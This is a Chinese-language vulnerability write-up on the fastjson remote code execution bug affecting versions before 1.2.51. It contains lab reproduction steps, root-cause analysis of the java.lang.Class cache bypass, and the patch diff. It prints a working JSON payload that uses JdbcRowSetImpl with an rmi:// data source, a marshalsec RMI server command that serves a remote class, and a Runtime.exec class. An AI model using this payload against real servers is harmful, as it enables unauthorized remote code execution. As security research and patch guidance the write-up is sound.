一、漏洞描述
- 漏洞简介:fastjson是alibaba开源的一款高性能功能完善的JSON库,在2017年4月18日的时候官方自己爆出了一个安全漏洞,https://github.com/alibaba/fastjson/wiki/security_update_20170315,影响范围 1.2.24以及之前版本。随着逐步修复,1.2.42-45之间都出现过绕过。而最近爆出的更是通杀默认配置1.2.48版本以下。
- 漏洞编号:CNNVD-201907-699
- 影响版本:fastjson<1.2.51
- 漏洞等级:高危
二、漏洞复现
2.1 漏洞靶场搭建
根据特定fastjson版本编写相关测试demo,这里我通过网上下载了一个,放到本地,启服务。
2.2 漏洞复现
-
在浏览器访问相关地址:
http://localhost:8080/
-
在浏览器上配置代理,进行数据包拦截
-
重新转发数据包,将请求方法GET修改为POST,将content-type修改为
application/json
向其POST新的JSON对象,后端会利用fastjson进行解析。 -
首先编译并上传命令执行代码,如
http://XXXX/TouchFile.class
:// javac TouchFile.java import java.lang.Runtime; import java.lang.Process; public class TouchFile { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"calc"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } } }
-
然后我们借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类
TouchFile.class
:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://XXXXXX/#TouchFile" 9999
-
向靶场服务器发送恶意payload
{ "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://XXXXX:9999/Exploit", "autoCommit":true } }
-
点击提交请求,成功执行命令,弹出计算器
三、漏洞原理分析
Fastjson远程代码执行漏洞主要是因为fastjson在处理以@type形式传入的类的时候,会默认调用该类的共有set\get\is函数,因此我们在寻找利用类的时候思路如下:
- 类的成员变量我们可以控制;
- 想办法在调用类的某个set\get\is函数的时候造成命令执行。
于是便找到了JdbcRowSetImpl类,该类在setAutoCommit函数中会对成员变量dataSourceName进行lookup,标准的jndi(Java Naming and Directory Interface)注入利用。
注:JNDI (Java Naming and Directory Interface) 是一组应用程序接口,它为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定位用户、网络、机器、对象和服务等各种资源。比如可以利用JNDI在局域网上定位一台打印机,也可以用JNDI来定位数据库服务或一个远程Java对象。JNDI底层支持RMI远程对象,RMI注册的服务可以通过JNDI接口来访问和调用。
jndi注入整个利用流程如下:
- 目标代码中调用了InitialContext.lookup(URI),且URI为用户可控;
- 攻击者控制URI参数为恶意的RMI服务地址,如:rmi://hacker_rmi_server//name;
- 攻击者RMI服务器向目标返回一个Reference对象,Reference对象中指定某个精心构造的Factory类;
- 目标在进行lookup()操作时,会动态加载并实例化Factory类,接着调用factory.getObjectInstance()获取外部远程对象实例;
- 攻击者可以在Factory类文件的构造方法、静态代码块、getObjectInstance()方法等处写入恶意代码,达到RCE的效果;
此次漏洞利用的核心点是java.lang.class这个java的基础类,在fastjson 1.2.48以前的版本没有做该类做任何限制,加上代码的一些逻辑缺陷,造成黑名单以及autotype的绕过。
3.1 漏洞分析
Fastjson在开始解析json前会优先加载配置,在加载配置时会调用TypeUtils的addBaseClassMappings和loadClass方法将一些经常会用到的基础类和三方库存放到一个ConcurrentMap对象mappings中,类似于缓存机制。
配置加载完成后正式开始解析json数据,在ParserConfig.checkAutoType方法中对’@type’对应的value进行处理。
此处判断如果含有 @type
标记,就把 value 作为类来加载。
断点进入checkAutoType函数进行检测,在调用解析函数时我们没有传入预期的反序列化对象的对应类名时,fastjson则通过从mappings中或者deserializers.findClass()方法来获取反序列化对象的对应类。
跟进findClass,我们可以看到java.lang.class该类恰好存在于deserializers对象的buckets属性中
找到对应类后便返回,不再经过黑名单和autotype的检查流程。
接着获取到java.lang.class对应的反序列化处理类MiscCodec:
在MiscCodec类中,java.lang.class拥有加载任意类到mappings中的功能。首先从输入的json串中解析获取val对应的键值:
获取后调用前面提到的TypeUtils. loadClass()方法对该键值进行类加载操作:
在TypeUtils. loadClass()中,我们就可以看到当cache参数为true时,将键值对应的类名放到了mappings中后返回:
继续解析第二个json键值对。此时我们利用’@type’传入早已在黑名单中的com.sun.rowset.JdbcRowSetImpl类尝试jdni注入利用:
可以看到fastjson直接从mappings中获取到了该类,并在做有效判断后,直接返回了:
黑名单以及autotype开关的检查是在上面那处return之后的,所以也就变相的绕过了黑名单以及autotype开关的检查。
调用JdbcRowSetImpl类,在setAutoCommit()会调用connect()函数中会对成员变量dataSourceName进行lookup,成功利用jndi注入。
所以最终的漏洞利用其实是分为两个步骤,第一步利用java.lang.class加载黑名单类到mappings中,第二步直接从mappings中取出黑名单类完成漏洞利用。
整个利用链:
Exec:620,Runtime //命令执行
Lookup:417,InitalContext /jndi lookup函数通过rmi或者ldap获取恶意类
setAutoCommit:4067,JdbcRowSetImpl 通过setAutoCommit从而在后面触发了lookup函数
setValue:96,FieldDeserializer //反射调用传入类的set函数
deserialze:600, JavaBeanDeserializer 通过循环调用传入类的共有set,get,is函数
parseObject:368,DefaultJSONParser 解析传入的json字符串
3.2 修复代码diff
查看fastjson 1.2.48代码发布的补丁:diff
-
对黑名单类进行了更新
通过github上大佬们fuzz出来的fastjson黑名单类中成功找到添加的两个类:8409640769019589119(java.lang.Class)、1459860845934817624(java.net.InetAddress)
-
MiscCodec.java文件对cache缓存设置成false
-
ParserConfig.java文件对checkAutoType()进行了相关策略调整
四、修复建议
请及时升级到1.2.48及以上版本